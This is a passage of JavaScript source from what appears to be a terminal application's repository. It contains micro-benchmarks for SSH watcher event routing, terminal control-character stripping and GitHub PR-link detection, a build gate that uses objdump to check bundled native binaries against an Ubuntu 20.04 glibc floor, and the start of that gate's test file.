// per round and taking per-arm medians keeps the drift common to both.
function measureInterleaved(roots, events) {
const noop = () => undefined
for (let index = 0; index < WARMUP; index += 1) {
routeBefore(roots, events, noop)
routeAfter(roots, events, noop)
}
const beforeSamples = []
const afterSamples = []
for (let round = 0; round < 5; round += 1) {
let start = performance.now()
for (let index = 0; index < ITERATIONS; index += 1) {
routeBefore(roots, events, noop)
}
beforeSamples.push((performance.now() - start) / ITERATIONS)
start = performance.now()
for (let index = 0; index < ITERATIONS; index += 1) {
routeAfter(roots, events, noop)
}
afterSamples.push((performance.now() - start) / ITERATIONS)
}
beforeSamples.sort((a, b) => a - b)
afterSamples.sort((a, b) => a - b)
return { beforeMs: beforeSamples[2], afterMs: afterSamples[2] }
}
const pad = (value, width) => String(value).padStart(width)
console.log('SSH fs.changed fan-out, per relay notification. Lower is better.')
console.log(`iterations=${ITERATIONS} warmup=${WARMUP} (median of 5 rounds)`)
console.log(
`${pad('roots', 6)} ${pad('events', 7)} ${pad('per-pair', 11)} ${pad('hoisted', 11)} ${pad('speedup', 9)}`
)
// roots x events: 3x20 is a typical few-worktree session with a small save; the
// larger rows are a remote `git checkout` or `pnpm install` storm, which the relay
// batches up to MAX_BATCHED_WATCHER_EVENTS (5,000) per notification.
for (const [rootCount, eventCount] of [
[3, 20],
[6, 50],
[12, 200],
[25, 500],
[25, 5000]
]) {
const roots = makeRoots(rootCount)
const events = makeEvents(roots, eventCount)
const before = collect(roots, events, routeBefore)
const after = collect(roots, events, routeAfter)
if (before !== after) {
throw new Error(`routing differs at ${rootCount} roots x ${eventCount} events`)
}
if (!before.includes(' ')) {
throw new Error(`fixture routed nothing at ${rootCount} roots x ${eventCount} events`)
}
const { beforeMs, afterMs } = measureInterleaved(roots, events)
console.log(
`${pad(rootCount, 6)} ${pad(eventCount, 7)} ${pad(`${beforeMs.toFixed(3)} ms`, 11)} ${pad(`${afterMs.toFixed(3)} ms`, 11)} ${pad(`${(beforeMs / afterMs).toFixed(1)}x`, 9)}`
)
}
console.log(
'\nThis times routing only. The saving scales with roots x events, so it is small\nfor a single-worktree session and largest during a remote checkout storm, which\nis exactly when the main process is already busy.'
)
@@ -0,0 +1,202 @@
#!/usr/bin/env node
// Mirrors the complete pre/post stripTerminalControl paths at their production size caps.
import { performance } from 'node:perf_hooks'
const ESC = String.fromCharCode(0x1b)
const BEL = String.fromCharCode(0x07)
const ANSI_ESCAPE_RE = new RegExp(
`${ESC}(?:[@-Z\\\\-_]|\\[[0-?]*[ -/]*[@-~]|\\][^${BEL}]*(?:${BEL}|${ESC}\\\\))`,
'g'
)
const INCOMPLETE_ANSI_ESCAPE_RE = new RegExp(
`${ESC}(?:\\[[0-?]*[ -/]*|\\][^${BEL}${ESC}]*|\\S?)?$`,
'g'
)
const HISTORY_LIMIT = 300
const SCAN_LIMIT = 4096
const SAMPLE_ID_LENGTH = 24
const ITERATIONS = Number(process.env.ORCA_STRIP_BENCH_ITERATIONS ?? '501')
let resultChecksum = 0
let validatedPairs = 0
if (!Number.isSafeInteger(ITERATIONS) || ITERATIONS <= 0) {
throw new Error(`ORCA_STRIP_BENCH_ITERATIONS must be a positive integer, got ${ITERATIONS}`)
}
function isStrippedCode(code) {
return (code <= 0x1f && code !== 0x0a && code !== 0x0d) || (code >= 0x7f && code <= 0x9f)
}
function terminalControlMayAffectText(data) {
for (let index = 0; index < data.length; index += 1) {
const code = data.charCodeAt(index)
if (
code === 0x0d ||
code === 0x1b ||
(code <= 0x1f && code !== 0x0a) ||
(code >= 0x7f && code <= 0x9f)
) {
return true
}
}
return false
}
function stripPerChar(data) {
if (!terminalControlMayAffectText(data)) {
return data
}
const withoutAnsi = data.replace(ANSI_ESCAPE_RE, '').replace(INCOMPLETE_ANSI_ESCAPE_RE, '')
let output = ''
for (let index = 0; index < withoutAnsi.length; index += 1) {
if (isStrippedCode(withoutAnsi.charCodeAt(index))) {
continue
}
output += withoutAnsi[index]
}
return output
}
function stripSliceRuns(data) {
if (!terminalControlMayAffectText(data)) {
return data
}
const withoutAnsi = data.replace(ANSI_ESCAPE_RE, '').replace(INCOMPLETE_ANSI_ESCAPE_RE, '')
let output = ''
let runStart = 0
for (let index = 0; index < withoutAnsi.length; index += 1) {
if (isStrippedCode(withoutAnsi.charCodeAt(index))) {
if (index > runStart) {
output += withoutAnsi.slice(runStart, index)
}
runStart = index + 1
}
}
return runStart === 0 ? withoutAnsi : output + withoutAnsi.slice(runStart)
}
function fixedSampleId(sampleId) {
return `sample:${sampleId}`.padEnd(SAMPLE_ID_LENGTH, '_').slice(0, SAMPLE_ID_LENGTH)
}
function makeTuiFixture(length, sampleId, strippedControl) {
const lines = [
`${strippedControl}\x1b[35m✻ Thinking...\x1b[0m\r\n`,
' ⏺ Running tests... 42 passed, 0 failed\r\n'
]
let text = `${fixedSampleId(sampleId)}\r\n`
for (let lineIndex = 0; ; lineIndex += 1) {
const next = lines[lineIndex % lines.length]
if (text.length + next.length > length) {
break
}
text += next
}
return text + 'x'.repeat(length - text.length)
}
function makeDenseFixture(length, sampleId, strippedControl) {
const prefix = `\x1b[35m${fixedSampleId(sampleId)}`
const suffix = '\x1b[0m'
const bodyLength = length - prefix.length - suffix.length
const body = `x${strippedControl}`.repeat(Math.floor(bodyLength / 2))
return `${prefix}${body}${bodyLength % 2 === 0 ? '' : 'x'}${suffix}`
}
function median(samples) {
const sorted = [...samples].sort((a, b) => a - b)
const middle = Math.floor(sorted.length / 2)
return sorted.length % 2 === 0 ? (sorted[middle - 1] + sorted[middle]) / 2 : sorted[middle]
}
function measure(strip, fixture) {
const start = performance.now()
const output = strip(fixture)
return { elapsed: performance.now() - start, output }
}
function consumeOutput(output) {
resultChecksum = Math.imul(resultChecksum ^ output.length, 16777619) >>> 0
resultChecksum ^= output.charCodeAt(Math.floor(output.length / 2))
}
function recordPair(fixture, sampleId, perCharFirst, samples) {
const perCharFixture = fixture.make(sampleId, perCharFirst ? '\x01' : '\x02')
const sliceRunsFixture = fixture.make(sampleId, perCharFirst ? '\x02' : '\x01')
if (
perCharFixture === sliceRunsFixture ||
perCharFixture.length !== fixture.length ||
sliceRunsFixture.length !== fixture.length
) {
throw new Error(`invalid inputs for ${fixture.label}, sample ${sampleId}`)
}
let perCharResult
let sliceRunsResult
if (perCharFirst) {
perCharResult = measure(stripPerChar, perCharFixture)
sliceRunsResult = measure(stripSliceRuns, sliceRunsFixture)
} else {
sliceRunsResult = measure(stripSliceRuns, sliceRunsFixture)
perCharResult = measure(stripPerChar, perCharFixture)
}
if (perCharResult.output !== sliceRunsResult.output) {
throw new Error(`strip mismatch for ${fixture.label}, sample ${sampleId}`)
}
consumeOutput(perCharResult.output)
consumeOutput(sliceRunsResult.output)
validatedPairs += 1
samples.perChar.push(perCharResult.elapsed)
samples.sliceRuns.push(sliceRunsResult.elapsed)
}
const denseBodyLength = SCAN_LIMIT - '\x1b[35m'.length - SAMPLE_ID_LENGTH - '\x1b[0m'.length
const denseControlPercent = ((Math.floor(denseBodyLength / 2) / SCAN_LIMIT) * 100).toFixed(1)
const fixtures = [
{
label: `${HISTORY_LIMIT} history TUI`,
length: HISTORY_LIMIT,
make: (sampleId, control) => makeTuiFixture(HISTORY_LIMIT, sampleId, control)
},
{
label: `${HISTORY_LIMIT + 1} boundary TUI`,
length: HISTORY_LIMIT + 1,
make: (sampleId, control) => makeTuiFixture(HISTORY_LIMIT + 1, sampleId, control)
},
{
label: `${SCAN_LIMIT} scan TUI`,
length: SCAN_LIMIT,
make: (sampleId, control) => makeTuiFixture(SCAN_LIMIT, sampleId, control)
},
{
label: `${SCAN_LIMIT} scan ${denseControlPercent}% C0`,
length: SCAN_LIMIT,
make: (sampleId, control) => makeDenseFixture(SCAN_LIMIT, sampleId, control)
}
]
const pad = (value, width) => String(value).padStart(width)
console.log('Complete stripTerminalControl path. Lower is better.')
console.log(
`iterations=${ITERATIONS} (${ITERATIONS * 2} first-touch samples/implementation, counterbalanced median)`
)
console.log(
`${pad('fixture', 25)} ${pad('per-char', 11)} ${pad('slice runs', 12)} ${pad('speedup', 9)}`
)
for (const fixture of fixtures) {
const samples = { perChar: [], sliceRuns: [] }
for (let index = 0; index < ITERATIONS; index += 1) {
const orders = index % 2 === 0 ? [true, false] : [false, true]
for (const perCharFirst of orders) {
const orderLabel = perCharFirst ? 'per-first' : 'slice-first'
recordPair(fixture, `${index}:${orderLabel}`, perCharFirst, samples)
}
}
const perChar = median(samples.perChar)
const sliceRuns = median(samples.sliceRuns)
console.log(
`${pad(fixture.label, 25)} ${pad(`${(perChar * 1000).toFixed(1)} us`, 11)} ${pad(`${(sliceRuns * 1000).toFixed(1)} us`, 12)} ${pad(`${(perChar / sliceRuns).toFixed(2)}x`, 9)}`
)
}
console.log(`\nvalidated=${validatedPairs} measured pairs, result checksum=${resultChecksum >>> 0}`)
console.log('Production calls are bounded to 4096, 4096, 300, and 301 code units.')
@@ -0,0 +1,221 @@
#!/usr/bin/env node
// Benchmark: per-chunk cost of the GitHub PR-link carry scan on the PTY output path.
//
// createTerminalGitHubPRLinkDetector() runs on every PTY chunk (renderer
// pty-connection + parked-terminal-byte-watcher). Before the fix,
// getPotentialGitHubPRCarry() ran `lastIndexOf` for BOTH http scheme prefixes
// across the entire combined chunk — even on the early-out path where the chunk
// provably has no `/pull/`. The carry it returns is always a suffix of at most
// MAX_CARRY_LENGTH (512) bytes, so every byte scanned before
// `length - 512` was guaranteed-wasted work.
//
// The fix bounds the scan to that trailing window. This script measures the
// scan itself across chunk sizes so the saved work is quantified.
//
// carryBefore/carryAfter are mirrors: node cannot import the .ts source, which is
// why the sibling benchmarks in this directory inline their subject too. The
// constants below are re-read from the real module at startup so a drifted cap or
// scheme list fails loudly here instead of quietly benchmarking dead code.
import { readFileSync } from 'node:fs'
import { performance } from 'node:perf_hooks'
import { fileURLToPath } from 'node:url'
const DETECTOR_SOURCE = readFileSync(
fileURLToPath(new URL('../../src/shared/terminal-github-pr-link-detector.ts', import.meta.url)),
'utf8'
)
function readMirroredConstants(source) {
const cap = source.match(/const MAX_CARRY_LENGTH = (\d+)/)
const prefixes = source.match(/const HTTP_SCHEME_PREFIXES = \[([^\]]+)\]/)
if (!cap || !prefixes) {
throw new Error(
'terminal-github-pr-link-detector.ts no longer exposes MAX_CARRY_LENGTH / HTTP_SCHEME_PREFIXES in the expected shape; re-sync this benchmark with the implementation.'
)
}
return {
maxCarryLength: Number(cap[1]),
httpSchemePrefixes: prefixes[1]
.split(',')
.map((entry) => entry.trim().replace(/^['"]|['"]$/g, ''))
.filter(Boolean)
}
}
const { maxCarryLength: MAX_CARRY_LENGTH, httpSchemePrefixes: HTTP_SCHEME_PREFIXES } =
readMirroredConstants(DETECTOR_SOURCE)
const ITERATIONS = Number.parseInt(process.env.ORCA_PR_CARRY_BENCH_ITERATIONS ?? '2000', 10)
const WARMUP = Number.parseInt(process.env.ORCA_PR_CARRY_BENCH_WARMUP ?? '200', 10)
for (const [name, value] of [
['ORCA_PR_CARRY_BENCH_ITERATIONS', ITERATIONS],
['ORCA_PR_CARRY_BENCH_WARMUP', WARMUP]
]) {
if (!Number.isInteger(value) || value <= 0) {
throw new Error(`${name} must be a positive integer, received ${value}`)
}
}
function hasTerminalUrlWhitespace(value, start, end) {
for (let index = start; index < end; index += 1) {
if (/\s/.test(value.charAt(index))) {
return true
}
}
return false
}
function endsWithHttpSchemePrefixFragment(value) {
for (const prefix of HTTP_SCHEME_PREFIXES) {
for (let length = Math.min(prefix.length - 1, value.length); length > 0; length--) {
if (value.endsWith(prefix.slice(0, length))) {
return value.slice(value.length - length)
}
}
}
return ''
}
// Pre-fix implementation, kept verbatim for comparison.
function carryBefore(value) {
const schemeIndex = Math.max(...HTTP_SCHEME_PREFIXES.map((prefix) => value.lastIndexOf(prefix)))
if (schemeIndex !== -1) {
const tailLength = value.length - schemeIndex
if (tailLength > MAX_CARRY_LENGTH) {
return ''
}
return hasTerminalUrlWhitespace(value, schemeIndex, value.length)
? ''
: value.slice(schemeIndex)
}
return endsWithHttpSchemePrefixFragment(value)
}
// Post-fix implementation, mirroring src/shared/terminal-github-pr-link-detector.ts.
function lastIndexOfHttpScheme(value, fromIndex) {
let lastIndex = -1
for (const prefix of HTTP_SCHEME_PREFIXES) {
const candidate =
fromIndex === undefined ? value.lastIndexOf(prefix) : value.lastIndexOf(prefix, fromIndex)
if (candidate > lastIndex) {
lastIndex = candidate
}
}
return lastIndex
}
function carryAfter(value) {
const windowStart = value.length > MAX_CARRY_LENGTH ? value.length - MAX_CARRY_LENGTH : 0
const window = windowStart === 0 ? value : value.slice(windowStart)
const schemeIndexInWindow = lastIndexOfHttpScheme(window)
if (schemeIndexInWindow !== -1) {
const schemeIndex = windowStart + schemeIndexInWindow
return hasTerminalUrlWhitespace(value, schemeIndex, value.length)
? ''
: value.slice(schemeIndex)
}
const fragment = endsWithHttpSchemePrefixFragment(window)
if (fragment === '' || windowStart === 0) {
return fragment
}
return lastIndexOfHttpScheme(value, windowStart - 1) === -1 ? fragment : ''
}
const GITHUB_PR_PATH_MARKER = '/pull/'
// Agent TUI output: no scheme anywhere, which is the overwhelmingly common case
// and the one where the old code scanned the full chunk to return ''. `tail`
// forces the chunk to end mid-scheme so the fallback branch is measured too.
function makeChunk(bytes, tail = '') {
const line = 'build output line with some text and punctuation, id=12345\n'
const filled = line.repeat(Math.ceil(bytes / line.length)).slice(0, bytes)
return tail ? filled.slice(0, bytes - tail.length) + tail : filled
}
// Why measure this too: the detector runs includes() over the whole chunk before
// the carry scan and the fix does not touch that cost, so timing the carry alone
// reports a win the hot path cannot actually realize. These fixtures never hold
// the marker, so this mirrors the early-out branch ordinary output takes.
function detectorEarlyOut(carry, value) {
if (value.includes(GITHUB_PR_PATH_MARKER)) {
throw new Error('benchmark fixture unexpectedly contains the PR marker')
}
return carry(value)
}
function measure(fn, chunk) {
for (let index = 0; index < WARMUP; index += 1) {
fn(chunk)
}
const samples = []
for (let round = 0; round < 5; round += 1) {
const start = performance.now()
for (let index = 0; index < ITERATIONS; index += 1) {
fn(chunk)
}
samples.push((performance.now() - start) / ITERATIONS)
}
samples.sort((a, b) => a - b)
return samples[2]
}
// Why non-empty fixtures: a chunk of ordinary text yields '' from both versions,
// so an equality check over it would pass even for a carry that always returns ''.
const EQUIVALENCE_FIXTURES = [
`noise ${'x'.repeat(400)}https://github.com/acme/orca/pull/7`,
`https://github.com/acme/orca/pull/1${'x'.repeat(600)}`,
`https://github.com/acme/orca/pull/1${'x'.repeat(600)}https`,
`${'x'.repeat(1000)}https`,
`${'x'.repeat(1000)}http`,
'https://github.com/acme/orca/pull/7 trailing words',
`${'y'.repeat(600)}`,
'',
'https://github.com/acme/orca/pull/7'
]
for (const fixture of EQUIVALENCE_FIXTURES) {
if (carryBefore(fixture) !== carryAfter(fixture)) {
throw new Error(
`carry mismatch on fixture (len ${fixture.length}): ${JSON.stringify(carryBefore(fixture))} vs ${JSON.stringify(carryAfter(fixture))}`
)
}
}
const SIZES = [4 * 1024, 16 * 1024, 64 * 1024, 256 * 1024, 1024 * 1024]
const rows = []
for (const bytes of SIZES) {
const chunk = makeChunk(bytes)
// 'with' ends in 'h', so the chunk terminates on a partial scheme fragment and
// the new code pays the extra bounded probe behind the window.
const fragmentChunk = makeChunk(bytes, 'with')
for (const sample of [chunk, fragmentChunk]) {
if (carryBefore(sample) !== carryAfter(sample)) {
throw new Error(`carry mismatch at ${bytes} bytes`)
}
}
rows.push({
chunk: `${(bytes / 1024).toFixed(0)} KiB`,
carry: measure(carryBefore, chunk) / measure(carryAfter, chunk),
path:
measure((value) => detectorEarlyOut(carryBefore, value), chunk) /
measure((value) => detectorEarlyOut(carryAfter, value), chunk),
fragment: measure(carryBefore, fragmentChunk) / measure(carryAfter, fragmentChunk)
})
}
const pad = (value, width) => String(value).padStart(width)
console.log('PR-link carry scan, per PTY chunk. Speedup = before / after (>1 is faster).')
console.log(`iterations=${ITERATIONS} warmup=${WARMUP} (median of 5 rounds)`)
console.log(
`${pad('chunk', 9)} ${pad('carry only', 12)} ${pad('detector path', 15)} ${pad('fragment tail', 15)}`
)
for (const row of rows) {
console.log(
`${pad(row.chunk, 9)} ${pad(`${row.carry.toFixed(1)}x`, 12)} ${pad(`${row.path.toFixed(1)}x`, 15)} ${pad(`${row.fragment.toFixed(2)}x`, 15)}`
)
}
console.log(
'\ncarry only = the scan this change bounds, in isolation.\n' +
'detector path = includes() + carry, i.e. what the PTY hot path actually saves.\n' +
'fragment tail = chunk ending mid-scheme, where the new code pays an extra\n' +
' bounded probe. ~1x means the fallback costs nothing material.'
)
+394
View File
@@ -0,0 +1,394 @@
const { readdirSync, openSync, readSync, closeSync } = require('node:fs')
const { spawnSync } = require('node:child_process')
const { join, relative } = require('node:path')
// Why: v1.4.150 shipped a Linux build whose node-pty pty.node required
// GLIBC_2.34 (openpty/forkpty were relocated into libc by glibc's
// libutil/libpthread merge), so the app crashed on startup on Ubuntu 20.04
// (glibc 2.31) — the runner image silently bumped the build-host glibc. This
// gate fails Linux packaging if any bundled native binary requires a glibc (or
// libstdc++) symbol version newer than stock Ubuntu 20.04 ships, so a future
// runner bump or dependency change cannot reintroduce the regression unnoticed.
// See docs/reference/linux-glibc-compatibility.md.
const MIN_GLIBC = Object.freeze([2, 31])
// The symbol-version families this gate checks, each with the highest version
// node stock Ubuntu 20.04 provides. glibc is the #9902 launch-crash axis;
// libstdc++ (GLIBCXX_/CXXABI_) is the same crash class for C++ native modules
// against the system libstdc++ (Orca does not bundle one).
const VERSION_FLOORS = Object.freeze([
Object.freeze({ prefix: 'GLIBC_', floor: MIN_GLIBC }),
Object.freeze({ prefix: 'GLIBCXX_', floor: Object.freeze([3, 4, 28]) }),
Object.freeze({ prefix: 'CXXABI_', floor: Object.freeze([1, 3, 12]) })
])
const FLOOR_LABEL = 'Ubuntu 20.04 (glibc 2.31 / libstdc++ GLIBCXX_3.4.28)'
// Why: the sherpa-onnx speech prebuilt is a third-party manylinux binary that
// already requires GLIBCXX_3.4.29 (GCC 11 / Ubuntu 21.10+, 22.04 LTS). It loads
// lazily in the speech worker (src/main/speech/stt-worker.ts), never at app
// launch, so it cannot cause the #9902 startup crash. Exempt it from the
// libstdc++ floor (its glibc is still gated) rather than fail the release on a
// pre-existing, non-launch condition — speech needs libstdc++ >= GCC 11.
const LIBSTDCXX_FLOOR_EXEMPT = /(?:^|[/\\])sherpa-onnx/
// VER_FLG_WEAK: a version need whose references are all weak. The loader
// tolerates its absence (resolves to null and the caller's fallback runs)
// instead of refusing to load, so a weak need must not count as a requirement.
const VER_FLG_WEAK = 0x2
/** Parse a "2.34" / "3.4.28" version string into a numeric tuple. */
function parseGlibcVersion(versionStr) {
return versionStr.split('.').map((part) => Number.parseInt(part, 10))
}
/** Compare two numeric version tuples; missing trailing parts are 0. */
function compareGlibcVersions(a, b) {
const length = Math.max(a.length, b.length)
for (let i = 0; i < length; i += 1) {
const diff = (a[i] ?? 0) - (b[i] ?? 0)
if (diff !== 0) {
return diff < 0 ? -1 : 1
}
}
return 0
}
/**
* Parse `objdump -p` "Version References" (the ELF `.gnu.version_r` section)
* into the version nodes this binary requires from each shared library. This is
* the authoritative load-time requirement list: unlike the dynamic symbol table
* (`objdump -T`), it also captures symbol-less ABI markers such as
* `GLIBC_ABI_DT_RELR` (packed relative relocations, glibc 2.36+) that still
* block loading on an older glibc. Each entry: `0xHASH 0xFLAGS <n> <NAME>`.
*/
function parseVersionNeeds(objdumpOutput) {
const needs = []
let library = null
let inSection = false
for (const line of objdumpOutput.split('\n')) {
if (line.startsWith('Version References:')) {
inSection = true
continue
}
if (!inSection) {
continue
}
// Any new non-indented line ends the Version References block.
if (!/^\s/.test(line)) {
inSection = false
continue
}
const libraryMatch = line.match(/^\s+required from (\S+):/)
if (libraryMatch) {
library = libraryMatch[1]
continue
}
const entryMatch = line.match(/^\s+0x[0-9a-fA-F]+\s+0x([0-9a-fA-F]+)\s+\d+\s+(\S+)/)
if (entryMatch) {
const flags = Number.parseInt(entryMatch[1], 16)
needs.push({ library, name: entryMatch[2], weak: (flags & VER_FLG_WEAK) !== 0 })
}
}
return needs
}
/**
* Whether a version node is newer than the floor Ubuntu 20.04 provides. Numeric
* nodes (`GLIBC_2.34`, `GLIBCXX_3.4.29`) compare by version. Any non-numeric
* glibc node is rejected: `GLIBC_ABI_DT_RELR` is a 2.36+ marker, and
* `GLIBC_PRIVATE` is not a stable ABI contract — its symbols differ across
* glibc releases, so a binary needing one can fail to load on the floor even
* though the version node itself exists (a well-formed addon needs neither).
* Named libstdc++ nodes (`CXXABI_TM_1`, `GLIBCXX_LDBL_*`) ship on 20.04.
* Families we do not gate (`GCC_`, `NSS_`) return false.
*/
function isVersionNodeAboveFloor(name) {
for (const { prefix, floor } of VERSION_FLOORS) {
if (!name.startsWith(prefix)) {
continue
}
const rest = name.slice(prefix.length)
if (/^[0-9]+(?:\.[0-9]+)*$/.test(rest)) {
return compareGlibcVersions(parseGlibcVersion(rest), floor) > 0
}
// Non-numeric suffix: reject every glibc node (ABI markers and PRIVATE).
return prefix === 'GLIBC_'
}
return false
}
function isLibstdcxxNode(name) {
return name.startsWith('GLIBCXX_') || name.startsWith('CXXABI_')
}
/**
* Version needs from `filePath` that would prevent loading on the floor OS.
* `sherpa-onnx` is exempt from the libstdc++ floor (see LIBSTDCXX_FLOOR_EXEMPT)
* but its glibc needs are still checked.
*/
function findFloorViolations(needs, filePath = '') {
const exemptLibstdcxx = LIBSTDCXX_FLOOR_EXEMPT.test(filePath)
return needs.filter(
(need) =>
!need.weak &&
isVersionNodeAboveFloor(need.name) &&
!(exemptLibstdcxx && isLibstdcxxNode(need.name))
)
}
// On stock Ubuntu 20.04 (glibc 2.31) these symbols live ONLY in these DSOs —
// glibc kept openpty/forkpty in libutil until the 2.34 merge. A binary that
// imports them must keep the DSO in DT_NEEDED or they will not resolve on the
// floor. This guards config/patches/node-pty@1.1.0.patch's forced
// `-l:libutil.so.1`: if a toolchain change ever dropped that ldflag, the pinned
// openpty@GLIBC_2.2.5 would still resolve from libc's compat alias at build time
// (so the version-floor check passes) yet fail to load on 20.04. libpthread
// (pthread_sigmask) is intentionally omitted — the Node/Electron host always
// loads it, so it resolves regardless of this addon's DT_NEEDED.
const RELOCATED_SYMBOL_PROVIDERS = Object.freeze({
openpty: 'libutil.so.1',
forkpty: 'libutil.so.1'
})
/**
* Relocated symbols the binary imports whose providing DSO is absent from
* DT_NEEDED — meaning they resolve at build time but not on the floor OS.
*/
function findMissingProviderDeps(importedSymbols, neededLibraries) {
const missing = []
for (const [symbol, library] of Object.entries(RELOCATED_SYMBOL_PROVIDERS)) {
if (importedSymbols.has(symbol) && !neededLibraries.has(library)) {
missing.push({ symbol, library })
}
}
return missing
}
function isElfFile(filePath) {
let fd
try {
fd = openSync(filePath, 'r')
const header = Buffer.alloc(4)
const bytesRead = readSync(fd, header, 0, 4, 0)
return bytesRead === 4 && header[0] === 0x7f && header.toString('latin1', 1, 4) === 'ELF'
} catch {
return false
} finally {
if (fd !== undefined) {
closeSync(fd)
}
}
}
/** Recursively collect ELF native binaries (`.node`, `.so[.N]`, executables). */
function collectNativeBinaries(rootDir) {
const binaries = []
const walk = (dir) => {
let entries
try {
entries = readdirSync(dir, { withFileTypes: true })
} catch {
return
}
for (const entry of entries) {
const fullPath = join(dir, entry.name)
if (entry.isSymbolicLink()) {
continue
}
if (entry.isDirectory()) {
walk(fullPath)
continue
}
if (!entry.isFile()) {
continue
}
// Why: .node/.so are always native; extensionless files (the Electron
// executable, chrome-sandbox) are checked via the ELF magic so we cover
// every launch-critical binary without objdump-ing app.asar or assets.
const looksNative = entry.name.endsWith('.node') || /\.so(\.\d+)*$/.test(entry.name)
if (looksNative || !entry.name.includes('.')) {
if (isElfFile(fullPath)) {
binaries.push(fullPath)
}
}
}
}
walk(rootDir)
return binaries.sort()
}
function resolveObjdump(explicitPath) {
const candidates = [explicitPath, 'objdump', 'llvm-objdump'].filter(Boolean)
for (const candidate of candidates) {
const probe = spawnSync(candidate, ['--version'], { encoding: 'utf8', env: cLocaleEnv() })
if (!probe.error && probe.status === 0) {
return candidate
}
}
return null
}
// Why: GNU objdump localizes its section headers ("Version References:") via
// gettext, and the parser anchors on the English text. Force the C locale so
// output stays deterministic on non-English packaging hosts (LC_ALL=C also
// disables LANGUAGE-based message translation).
function cLocaleEnv() {
return { ...process.env, LC_ALL: 'C', LANG: 'C' }
}
/**
* Run objdump with one flag on `filePath`. Fail-closed: a spawn error, non-zero
* exit, or signal throws, because a silently-unreadable binary (truncated,
* corrupt, or an objdump that cannot decode its format) would let a too-new
* binary slip past the gate.
*/
function runObjdump(objdumpPath, flag, filePath) {
const result = spawnSync(objdumpPath, [flag, filePath], {
encoding: 'utf8',
maxBuffer: 64 * 1024 * 1024,
env: cLocaleEnv()
})
if (result.error) {
throw new Error(
`[verify-linux-glibc-floor] could not run objdump on ${filePath}: ${result.error.message}`
)
}
if (result.signal || result.status !== 0) {
throw new Error(
`[verify-linux-glibc-floor] objdump ${flag} failed for ${filePath} ` +
`(status ${result.status}, signal ${result.signal ?? 'none'}): ${(result.stderr || '').trim()}`
)
}
return result.stdout || ''
}
/** DT_NEEDED shared-library names from `objdump -p` (` NEEDED <lib>`). */
function parseNeededLibraries(objdumpOutput) {
const needed = new Set()
for (const line of objdumpOutput.split('\n')) {
const match = line.match(/^\s+NEEDED\s+(\S+)/)
if (match) {
needed.add(match[1])
}
}
return needed
}
/** Undefined (imported) dynamic symbol base names from `objdump -T` (`*UND*`). */
function parseImportedSymbols(objdumpOutput) {
const imported = new Set()
for (const line of objdumpOutput.split('\n')) {
if (!line.includes('*UND*')) {
continue
}
// The symbol name is the final token; strip any @VERSION suffix.
const token = line.trim().split(/\s+/).pop()
if (token) {
imported.add(token.split('@')[0])
}
}
return imported
}
/** Version needs + DT_NEEDED from a single `objdump -p` (fail-closed). */
function readDynamicInfo(filePath, objdumpPath) {
const output = runObjdump(objdumpPath, '-p', filePath)
return {
versionNeeds: parseVersionNeeds(output),
neededLibraries: parseNeededLibraries(output)
}
}
/** Imported (undefined) dynamic symbols from `objdump -T` (fail-closed). */
function readImportedSymbols(filePath, objdumpPath) {
return parseImportedSymbols(runObjdump(objdumpPath, '-T', filePath))
}
/**
* Fail Linux packaging if any bundled native binary under `rootDir` requires a
* glibc/libstdc++ symbol version newer than the floor OS. No-op is not allowed
* on Linux: a missing objdump throws, because a silent skip would defeat the
* regression gate on exactly the host where it matters.
*/
function verifyLinuxGlibcFloor(rootDir, options = {}) {
const binaries = collectNativeBinaries(rootDir)
if (binaries.length === 0) {
console.log(`[verify-linux-glibc-floor] OK — no bundled native binaries under ${rootDir}`)
return
}
// Why: resolve objdump only once there is something to inspect, so a fixture
// with no ELF binaries does not fail on a host that lacks binutils.
const objdumpPath = resolveObjdump(options.objdumpPath)
if (!objdumpPath) {
throw new Error(
'[verify-linux-glibc-floor] objdump not found. Install binutils on the Linux ' +
'packaging host so the glibc-floor gate can inspect bundled native binaries.'
)
}
const offenders = []
for (const filePath of binaries) {
const { versionNeeds, neededLibraries } = readDynamicInfo(filePath, objdumpPath)
const floorViolations = findFloorViolations(versionNeeds, filePath)
// Only pay for `objdump -T` when a relocated-symbol provider is not already
// in DT_NEEDED (the common, healthy case short-circuits without it).
const providerViolations = Object.values(RELOCATED_SYMBOL_PROVIDERS).some(
(library) => !neededLibraries.has(library)
)
? findMissingProviderDeps(readImportedSymbols(filePath, objdumpPath), neededLibraries)
: []
if (floorViolations.length > 0 || providerViolations.length > 0) {
offenders.push({ filePath, floorViolations, providerViolations })
}
}
if (offenders.length > 0) {
const detail = offenders
.map(({ filePath, floorViolations, providerViolations }) => {
const reasons = []
if (floorViolations.length > 0) {
const nodes = [...new Set(floorViolations.map((v) => v.name))].sort()
const libraries = [...new Set(floorViolations.map((v) => v.library).filter(Boolean))]
reasons.push(
`needs ${nodes.join(', ')}${libraries.length > 0 ? ` (from ${libraries.join(', ')})` : ''}`
)
}
for (const { symbol, library } of providerViolations) {
reasons.push(`imports ${symbol} but ${library} is not in DT_NEEDED`)
}
return ` ${relative(rootDir, filePath) || filePath} ${reasons.join('; ')}`
})
.join('\n')
throw new Error(
`[verify-linux-glibc-floor] ${offenders.length} bundled native binar${offenders.length === 1 ? 'y' : 'ies'} ` +
`will not load on ${FLOOR_LABEL}, so the app will crash on startup there:\n${detail}\n` +
'See docs/reference/linux-glibc-compatibility.md — rebuild the offending module against an older ' +
'toolchain or pin the relocated symbols (as config/patches/node-pty@1.1.0.patch does).'
)
}
console.log(
`[verify-linux-glibc-floor] OK — ${binaries.length} bundled native binaries all load on ${FLOOR_LABEL}`
)
}
module.exports = {
MIN_GLIBC,
VERSION_FLOORS,
FLOOR_LABEL,
RELOCATED_SYMBOL_PROVIDERS,
parseGlibcVersion,
compareGlibcVersions,
parseVersionNeeds,
parseNeededLibraries,
parseImportedSymbols,
isVersionNodeAboveFloor,
isLibstdcxxNode,
findFloorViolations,
findMissingProviderDeps,
collectNativeBinaries,
readDynamicInfo,
readImportedSymbols,
verifyLinuxGlibcFloor
}
@@ -0,0 +1,323 @@
import { mkdtemp, mkdir, writeFile, symlink, rm } from 'node:fs/promises'
import { createRequire } from 'node:module'
import { tmpdir } from 'node:os'
import { join } from 'node:path'
import { describe, expect, it } from 'vitest'
const require = createRequire(import.meta.url)
const {
parseGlibcVersion,
compareGlibcVersions,
parseVersionNeeds,
parseNeededLibraries,
parseImportedSymbols,
isVersionNodeAboveFloor,
findFloorViolations,
findMissingProviderDeps,
collectNativeBinaries,
verifyLinuxGlibcFloor
} = require('./verify-linux-glibc-floor.cjs')
